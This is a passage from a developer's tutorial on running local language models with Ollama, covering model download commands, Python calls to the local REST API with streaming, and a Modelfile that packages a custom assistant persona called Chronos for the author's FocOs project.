04. DOWNLOADING AND RUNNING A MODEL
The download happens once — the model is stored locally and available offline permanently. Management commands are minimal and intuitive.
ollama pull llama3.2
# Downloads ~5GB — stored locally, works offline from this point
# Run in interactive chat mode:
ollama run llama3.2
# >>> Type your message here
# Ctrl+D or /bye to exit
# Run with inline prompt:
ollama run llama3.2 "explain what this does: def fib(n): return n if n<=1 else fib(n-1)+fib(n-2)"
# Model management:
ollama list # list installed models
ollama ps # list running models
ollama rm llama3.2 # remove a model
ollama pull llama3.2 # update a model
05. PYTHON INTEGRATION — THE REST API
Ollama exposes a REST API on localhost:11434 compatible with the OpenAI format. It integrates into FocOs exactly like Groq or Gemini — the AAL abstraction layer does not distinguish between a cloud model and one running on local disk.
import urllib.request, json
def call_ollama(model, messages, base_url='http://localhost:11434'):
url = f'{base_url}/api/chat'
payload = json.dumps({
'model': model,
'messages': messages,
'stream': False,
'options': {
'temperature': 0.7,
'num_ctx': 4096, # Context window — tune per available RAM
}
}).encode('utf-8')
req = urllib.request.Request(
url, data=payload,
headers={'Content-Type': 'application/json'},
method='POST'
)
res = urllib.request.urlopen(req, timeout=120)
data = json.loads(res.read())
return data.get('message', {}).get('content', '')
# Health check before calling:
def ollama_available(base_url='http://localhost:11434'):
try:
urllib.request.urlopen(f'{base_url}/api/tags', timeout=2)
return True
except Exception:
return False
06. STREAMING — REAL-TIME RESPONSES
For long responses, streaming dramatically improves the experience — the user sees text appearing as the model generates, instead of waiting for the full inference to complete before seeing anything.
'''
on_token: callback receiving each text fragment
Example: on_token = lambda t: print(t, end='', flush=True)
'''
import json, urllib.request
url = 'http://localhost:11434/api/chat'
payload = json.dumps({
'model': model,
'messages': messages,
'stream': True,
}).encode('utf-8')
req = urllib.request.Request(
url, data=payload,
headers={'Content-Type': 'application/json'},
method='POST'
)
full_response = ''
with urllib.request.urlopen(req, timeout=120) as res:
for line in res:
if line.strip():
chunk = json.loads(line.decode('utf-8'))
token = chunk.get('message', {}).get('content', '')
if token:
on_token(token)
full_response += token
if chunk.get('done', False):
break
return full_response
07. CUSTOM MODELS — MODELFILE
Ollama lets you create custom models with a fixed system prompt via a Modelfile. This allows packaging the Chronos assistant from FocOs as a standalone model — once created, the full ecosystem context is available without manual injection on every call.
FROM llama3.2
SYSTEM """
You are Chronos — Frank's development assistant.
You operate inside FocOs, the window manager of the being who builds.
You know the ecosystem: FocOs, TeliOs, KayrOs, ChronOs, OruX.
Methodology: AAL — LLM-Agnostic Architecture.
Preferred stack: Python + HTML/CSS/JS vanilla. Zero dependencies.
Principle: the contract is the truth. Code is regenerable.
Always respond in the user's language.
Prioritize practical solutions over theory.
Maximum 3 options when alternatives exist.
"""
PARAMETER temperature 0.7
PARAMETER num_ctx 4096
# Create the custom model:
ollama create chronos -f Modelfile
# Run from terminal:
ollama run chronos
# Call from Python:
response = call_ollama('chronos', [{'role': 'user', 'content': 'hello'}])
-- CONCLUSION
Ollama turns technological independence from a principle into a practical reality. A developer with Ollama installed can build software with LLMs at 3am, without internet, without spending a cent, without any external server seeing their code. The Ollama + FocOs + AAL combination is the most sovereign stack available today for AI-assisted development: the LLM runs on your machine, the work environment is yours, the methodology is yours, and the data never leaves your disk.
> SYSTEM_READY > NODE_ONLINE